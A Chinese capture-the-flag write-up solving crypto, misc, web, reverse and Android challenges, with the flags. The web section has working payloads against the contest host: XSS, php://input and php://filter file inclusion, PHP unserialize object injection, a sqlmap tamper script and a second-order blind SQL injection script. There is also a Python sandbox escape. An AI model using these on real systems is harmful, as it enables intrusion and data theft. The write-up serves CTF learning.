
好久不见。
先放出一个第一版的Writeup吧,其中很多细节没有讲清楚,后期会详细整理一下。
主办方傻逼,mdzz
对crypto.txt中内容解密后,直接查表可得flag:
flag_Xd{hSh_ctf:flagxidianctf}In [12]: xor(s,s2)
Out[12]: "\nnow you must believe in yourself\nnow you must believe in yourself\nnow you must believe in yourself\nnow you must believe in yourself\nnow you must bel \n\n~jcp lettci<js*~ti|fj$i^o` nnshqfO/gve}ilgs vnoF\xa7\x98\x98v3'.mj=q,su'mqLB|fd w\x1c:\x14\xe3\x81\x82m0%i#pev`.un&y$\x0f"
In [13]: with open("crypt-2.txt","r") as fp:
s2 = fp.read()
....:
In [14]: xor(s2,"now you must believe in yourself")
Out[14]: '\x02my0\x06N~.%KnX76a3}e3r+io;8x:~hxn*f\x0cdE'
In [15]: xor(s2,"\nnow you must believe in yourself")
Out[15]: 'flag_Xd{hSh_ctf:xi an huan ying ni}\n'
[12:42] 乍一看 有一堆 base64 解了一下 发现乱码
根据提示分组 想到ECB 加密 密文会出现重复的 所以写个脚本 找重复的组 然后找到两个串,解码其中一个串 取前16位就行了
# Copyright (c) 7 team All rights reserved
for i in open('q.txt','r'):
for i in range(0,255,4):
tmp=i[a:a+4]
res=re.compile(r'%s'%tmp).findall(i)
if len(res)>2:
print res
print i
breakflag_Xd{hSh_ctf:d880619740a8a19b}
# Copyright (c) 7 team All rights reserved
from Crypto.Cipher import AES
from binascii import *
import gmpy2
import re
g = 7
p = 1023789085312022807
A = 651518302569801068
B = 310117834581236149
secret = 0x5365637263742064617461210a2fa0c7a10e0d87a58f52bd
#flag = 'KeyXchge-N0t-So-Easy*Humen'
a = 1
myA = 7
a = 274389752
s = gmpy2.powmod(B, a, p)
#s = 844469193616983517
print s
key = s
print len(key)
length = 128
count = len(key)
if count != length:
key = b'0' * (length - count) + bin(key)[2:]
mode = AES.MODE_CBC
#print len(key)
char = re.findall(r'.{8}', key)
string = ''
for cha in char:
cha = hex(int(cha, 2))
#cha = cha & 0xff
#string += chr(int(cha, 16))
string = a2b_hex(cha)
key = string
print key
def decrypo(cipher):
crypter = AES.new(bin(key), mode, bin(key))
flag = crypter.decrypt(a2b_hex(cipher))
print flag
flag = decrypo(secret)
print 'flag: ' + flag 这个页面比较有参考价值:https://github.com/SpiderLabs/CryptOMG/blob/master/ctf/challenge3/index.php
$ echo gjVGaqJZOnjm54LirXgElRIAOnb8oVEWfkj/7medMRU= | base64 -d | xxd
00000000: 8235 466a a259 3a78 e6e7 82e2 ad78 0495 .5Fj.Y:x.....x..
00000010: 1200 3a76 fca1 5116 7e48 ffee 679d 3115 ..:v..Q.~H..g.1.从侧信道攻击的角度考虑,我们可以依次比较每个字符,对于不同的输入数据,执行10000次操作,耗费的时间是不同的,这样逐个字符破解,就可以得到目标值。


解压爆破密码后,得到一张图片。适当修改,暴露定位点后,扫描解码即可得到flag。

首先用mp3stego解密:
mp3stego -X -P cheers song.mp3得到字符:
fdc3_#l{tsf#ahfte}gs:en_hmgcX_poe应该是简单地古典密码,直接观察,得到:
flag_Xd{hSh_ctf:mp3stego_fence##}# Copyright (c) 7 team All rights reserved
import binascii
with open('file','rb') as f:
c=f.read()
k=-1
l=[]
for i in range(0,len(c)):
if c[i]==31 and c[i+1]==139 and c[i+2]==8:
k+=1
if(len(hex(c[i]))<4):
b='0'+hex(c[i])[2:]
else:
b=hex(c[i])[2:]
l.append(b)
else:
if(len(hex(c[i]))<4):
b='0'+hex(c[i])[2:]
else:
b=hex(c[i])[2:]
l[k]+=b
for i in range(0,len(l)):
with open('11/'+str(i)+'.gz','wb') as f:
f.write(binascii.unhexlify(l[i]))
#windows 下右键7zip全部解压
s=''
for i in range(0,164):
with open('11/'+str(i),'r') as f:
s+=f.read()
print(s)# Copyright (c) 7 team All rights reserved
__builtins__['a']=(1).__class__.__base__
__builtins__['a']=a.__subclasses__()
__builtins__['a']=a[40]
a('flag.txt','r').read()
#flag_Xd{hSh_ctf:py_sandbox_1s_fun!@}关注公众号后,直接按照要求发送消息,即可得到flag。
打开查看请求头,看到一段base64:OGM0MzU1NTc3MTdhMTQ4NTc4ZmQ4MjJhYWVmOTYwNzk=,解码之后是一段md5:8c435557717a148578fd822aaef96079,去解密得到1931b。提交payload
http://huashan.*****.cn/ctf_hs_00b.php?Password=1931bflag_Xd{hSh_ctf:XD_aA@lvmM}
查看源代码,有:
提交md5后0开头字符串240610708绕过,得到user.php,进去之后,得到另一段代码
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' &&$data_unserialize['pass']=='???') {
print_r($flag);
}反序列化,php弱类型,布尔类型任意字符相”==”为真。在主页post提交:
username=240610708&password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;}flag:flag_Xd{hSh_ctf:kidhvuensl^$}
看源代码里面的js需要比较a的值
控制台直接输入a回车拿到a的值输入就好,a=14208
Flag:flag_Xd{hSh_ctf:fhv84vud83vfd}
Xss题目,直接弹就行,
payload:
<svnonload=alert(s)>http://huashan.*****.cn/ctf_hs_00a.php?name=%3Csvng%20onload=alert(s)%3Eflag_Xd{hSh_ctf:xsL98SsoX!}
看源代码里有一段jsfuck,解密后保存为txt。使用python
得到一句话密码e@syt0g3t
Flag: flag_Xd{hSh_ctf: e@syt0g3t}
打开源码;
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user isadmin")){
echo "helloadmin!<br>";
include($file); //class.php
}else{
echo "you are not admin !";
}构造php输入流php://input协议绕过文件内容判断
http://huashan.*****.cn/php/index.php?file=class.php&user=php://inputpost提交:the user is admin

此处还有一个file参数是文件包含,使php://filter协议来读文件
http://huashan.*****.cn/php/index.php?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php
Base64解出来:
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echofile_get_contents($this->file);
}
return "__toString wascalled!";
}
}
?>再读index.php
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is
admin")){
echo "hello
admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin !
";
}
?>可以确定flag在f1a9.php里,但是不能主页直接包含读取,这里使用pass反序列之后读取
http://huashan.*****.cn/php/index.php?user=php://input&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}&file=class.php
Flag:flag_Xd{hSh_ctf:djvS_DJG7FJ3_wd7kv}
比较简单的一道上传截断题目,过程不多说。直接fuzz %80~%00中间的字符,即可上传成功,得到返回的flag。由于上传删除文件的过程有延时,可能存在竞争上传问题。
flag_Xd{hSh_ctf:asu@3sud9:!}这里明显的role参数里是两次base64编码,测试后可以注入。使用sqlmap的random user-agent绕过一下,并编写两次base64的tamper:
#!/usr/bin/env python
# Copyright (c) 7 team All rights reserved
from lib.core.enums import PRIORITY
from urllib import urlencode
import base64
import urllib
__priority__ = PRIORITY.LOW
def tamper(payload):
retVal = payload
retVal = base64.b64encode(retVal)
retVal = base64.b64encode(retVal)
retVal = urllib.quote(retVal)
return retVal注入后获得flag
flag_xd{hsh_ctf:sql_succeed!}二次注入,触发点在密码找回那边。exp:
import requests
import base64
import os
import random
#by mathias@xdsec
# Copyright (c) 7 team All rights reserved
def regist(usr):
flag=False
url="http://huashan.*****.cn/pic/index.php?page=login"
payload={'name':usr,'pass':'123456','email':'123456','register':'%E6%B3%A8%E5%86%8C'}
r=requests.post(url,data=payload)
txt=r.text.encode('utf-8')
if 'Duplicate' in txt or len(txt)==503:
flag=True
return flag
def reset(usr):
flag=False
url="http://huashan.*****.cn/pic/index.php?page=login"
payload={'name':usr,'reset':'%E5%BF%98%E8%AE%B0%E5%AF%86%E7%A0%81'}
r=requests.post(url,data=payload)
if len(r.text)==460:
flag=True
return flag
if __name__=="__main__":
url="http://huashan.*****.cn/pic/index.php?page=login"
flag=False
user=str(random.randint(10000000000,99999999999))
p=user+'\' and (select ascii(substr(flag,1,1)) from flag)>50#'
flag=regist(user)
if not flag:
print "regist "+user+" error"
os._exit()
else:
print "regist "+user+" success"
flag=regist(p)
if not flag:
print "regist "+p+" error"
os._exit()
else:
print "regist "+p+" success,now reset password"
flag=reset(p)
if flag:
print "Reset success,now inject"
else:
print "reset "+p+" error"
os._exit()
url="http://huashan.*****.cn/pic/index.php?page=login"
payload={'name':user,'pass':'123456','login':'%E7%99%BB%E5%BD%95'}
r=requests.post(url,data=payload)
if len(r.text)==486:
print "payload is wrong"
else:
print "payload is right"我们推测本题在出题过程中可能借鉴了ttps://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/halphow2js。简单修改参数后,得到一组可用参数:
payload:http://js.xdsec.cn/myajax?a=2.0&b=2.00&c=2.000&d=7&e=762
flag_Xd{hSh_ctf:FKIE&ndG^ks@eJ}本题需要通过逆向,了解由随机数生成密钥的方法后,输入到特定网页中,得到Flag。
解密脚本如下
#!/usr/bin/python3
# Copyright (c) 7 team All rights reserved
# math.random: 0~1
from hashlib import md5,sha1,sha256,sha384
import binascii
from random import random
stringArray="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"
stringTochr="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"
ec1="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"
ec2="AabRcQPXdYVeTWUSfghijklCmDnEoGpqFrHsItKJLuvwxyz01M23O45N67Z89B"
def gen_sn():
sn=''
for i in range(8):
sn+=stringTochr[(int((10 + random() * 90) % 62))]
#print(sn)
t=int(random()*4)
t=0
#print(t)
#print(sn+str(t))
return ((sn+str(t)).encode(),t)
def gen_hash(x):
if x[1]==0:
return md5(x[0])
elif x[1]==1:
return sha1(x[0])
elif x[1]==2:
return sha256(x[0])
elif x[1]==3:
return sha384(x[0])
else:
raise Exception("Unexcepted type")
def gen_enc(x):
di=gen_hash(x).hexdigest()
enc=''
for i in range(8):
enc+=str(ec2.index(di[i]))
return enc
sn=gen_sn()
print(sn)
print(gen_hash(sn).hexdigest())
print(gen_enc(sn))分析拿到的APK,可以看到看有如下拆包语句:
/*......*/
public class ProxyApplication extends Application {
/*......*/
protected void attachBaseContext(Context arg25) {
/*......*/
try {
/*......*/
this.apkFileName = String.valueOf(v14.getAbsolutePath()) + "/payload.apk";
File v6 = new File(this.apkFileName);
if(!v6.exists()) {
v6.createNewFile();
this.splitPayLoadFromDex(this.readDexFileFromApk());
/*......*/
v5.loadClass("com.nbrc.thorn.SubActivity");
}
catch(Exception v18) {
}
/*......*/
private byte[] decrypt(byte[] arg3) {
int v0;
for(v0 = 0; v0 < arg3.length; ++v0) {
arg3[v0] = ((byte)(arg3[v0] ^ 255));
}
return arg3;
}
/*......*/
private byte[] readDexFileFromApk() throws IOException {
/*......*/
while(true) {
ZipEntry v3 = v4.getNextEntry();
if(v3 == null) {
break;
}
if(v3.getName().equals("classes.dex")) {
byte[] v0 = new byte[1024];
while(true) {
int v2 = v4.read(v0);
if(v2 != -1) {
v1.write(v0, 0, v2);
continue;
/*......*/
return v1.toByteArray();
}
private void splitPayLoadFromDex(byte[] arg25) throws IOException {
int v5 = arg25.length;
byte[] v8 = new byte[4];
System.arraycopy(arg25, v5 - 4, v8, 0, 4);
int v19 = new DataInputStream(new ByteArrayInputStream(v8)).readInt();
System.out.println(Integer.toHexString(v19));
byte[] v18 = new byte[v19];
System.arraycopy(arg25, v5 - 4 - v19, v18, 0, v19);
v18 = this.decrypt(v18);
File v9 = new File(this.apkFileName);
try {
FileOutputStream v13 = new FileOutputStream(v9);
v13.write(v18);
v13.close();
}
catch(IOException v14) {
throw new RuntimeException(((Throwable)v14));
}
ZipInputStream v16 = new ZipInputStream(new BufferedInputStream(new FileInputStream(v9)));
while(true) {
ZipEntry v15 = v16.getNextEntry();
if(v15 == null) {
break;
}
String v17 = v15.getName();
if((v17.startsWith("lib/")) && (v17.endsWith(".so"))) {
/*......*/分析以上代码可知,下载得到的dex文件除了有正常的dex文件以外,还包含有一个apk文件。其打包结构为:
|-------------------+----------+----------|
| Original Dex file | APK File | APK Size |
|-------------------+----------+----------|这样我们可以用如下脚本得到第二个文件:
#!/usr/bin/python3
# Copyright (c) 7 team All rights reserved
fp=open('classes.dex','rb')
fp.seek(-4,2)
sz=int.from_bytes(fp.read(),byteorder='big')
fp.seek(0-4-sz,2)
wp=open('anotherone.apk','wb')
for i in fp.read():
a=i^255
a=a&0xff
wp.write(a.to_bytes(1,'little'))打开就能直接看到Flag在Base64编码之后的形式:
U2hlMTFfTjZSYw==输入的flag被传入so里,先跟一个表3F4D6C5B545B6C5B544638463F1C做运算,再进入n1 'nbrcdpassword' ,n2两个函数,最后和7405847394833303439294822334作比较。唯一比较坑的一点是,我们之前都以为显示信息中冒号后面的一部分才是要提交的值,实际整个文本都要提交上去……
对APK中的so文件进行分析,观察到如下段落:

做如下Patch:
偏移0x1042 0d49->0199
偏移0x1046 7944->c046之后执行,则会直接弹出Flag:lxienietIeAehfyih
# Copyright (c) 7 team All rights reserved>>> a = 'VgobmndVlBVE'>>> b = ''>>> for i in xrange(len(a)):
... b +=chr(ord(a[i])^(i%3+1))
...>>> print b
WelcomeToCTFflag_Xd{hSh_ctf:WelcomeToCTF}
分析程序,存在一个后门,如下所示输入。拼接即可得到flag
flag_Xd{hSh_ctf:32475569685b428b79dbbccb4b1ebaa4}
本题比较简单,只做了简单的加减运算,用一行代码就可以得到结果:
>>>s="ILoveXD";print(''.join([chr(ord(s[i])-i+len(s)) for i in range(len(s))]))
PRtzhZE直接提交即可
提取文件中的01字符串,如图摆放,可看到flag
flag_Xd{hSh_ctf:HSBSATURDAY}
如下所示,拼接即可
flag_Xd{hSh_ctf:7B6C7F3A7B7A3A5668676838707A387A}
本题较为简单。_main+C8处对用户名FindKey做明码比对,在sub_12D1C00+13处,借助浮点寄存器,载入一串base64字符,可自行加入合适的padding后解码:
Python>base64.b64decode('T25Zb3VyQ29tcHV0ZXI=')
OnYourComputer之后会在%TMP%/flag.jpg中写入flag,即FindKeyOnYourComputerArvinShow。
0123456789abcdefABCDEF01
0A1Ba2b34C5Dc6d78E9Fe0f1
0a4c8eA2C6E01b5d9fB3D7F1
B123456789abcdefABCDEF01
Ba47F1A256E0B347F1B2C6Ef
0A1B
a2b3
4C5D
c6d7
8E9F
e0f1
411444
223222
441444
422223
***********####******#**#*****##*##********#*********#*#####***###***#*********#*********#********##
0123456789
0**********
1*####*****
2*#**#*****
3##*##*****
4***#******
5***#*#####
6***###***#
7*********#
8*********#
9********##
411444223222441444422223
30
314
211
111
124
134
144
242
342
333
432
532
632
644
654
551
564
574
584
594
692
792
892
992
983flag_Xd{hSh_ctf:Ba47F1A256E0B347F1B2C6Ef}
# Copyright (c) 7 team All rights reserved
Dst[0] = Dst[8]
Dst[0] = Dst[9]
Dst[1] = Dst[10]
Dst[2] = Dst[4]
Dst[3] = Dst[5]
Dst[11] = 5
Dst[7] = 3 * Dst[11]
Dst[13] = 2 * Dst[12]
Dst[0] = Dst[6] + Dst[12]
Dst[6] = 2 * Dst[15]
Dst[12] > 5 * Dst[14]
Dst[3] > 3 * Dst[12]
Dst[0] > Dst[3]
21 > Dst[0]
Dst[2] > 4 * Dst[14]
Dst[6] > Dst[2]
Dst[1] > 7
Dst[2] > Dst[1]
Dst[0] > Dst[1] + Dst[2]
Dst[2] % 3 = 0线性规划问题,利用z3和pysmt库解出一组解,脚本如下
# Copyright (c) 7 team All rights reserved
z3
[6:33]
from z3 import *
a0 = Int('a0')
a1 = Int('a1')
a2 = Int('a2')
a3 = Int('a3')
a4 = Int('a4')
a5 = Int('a5')
a6 = Int('a6')
a7 = Int('a7')
a8 = Int('a8')
a9 = Int('a9')
a10 = Int('a10')
a11 = Int('a11')
a12 = Int('a12')
a13 = Int('a13')
a14 = Int('a14')
a15 = Int('a15')
s = Solver()
s.add(a14>0,a0 == a8,a0 == a9,a1 == a10,a2 == a4,a3 == a5,a11 == 5,a7 == 3*a11,a12 > a14*5,a12 * 2 == a13,a3 > 3*a12,a0 > a3,21 > a0,a0 == a6+a12,a6 == 2*a15,a2>4*a14,a6>a2,a2%3==0,a1>7,a2>a1,a0>a1+a2)
print s.check()
print s.model()[a2 = 9, a6 = 14, a14 = 1, a12 = 6, a15 = 7, a1 = 8, a0 = 20, a3 = 19, a13 = 12, a7 = 15, a11 = 5, a5 = 19, a4 = 9, a10 = 8, a9 = 20, a8 = 20]加上0x60后得到keythisisnottheflag
运行程序输入,得到http://reverse.*****.cn/galfehttonsisiht.php
访问得到flagflag_Xd{hSh_ctf:KaliI5600d}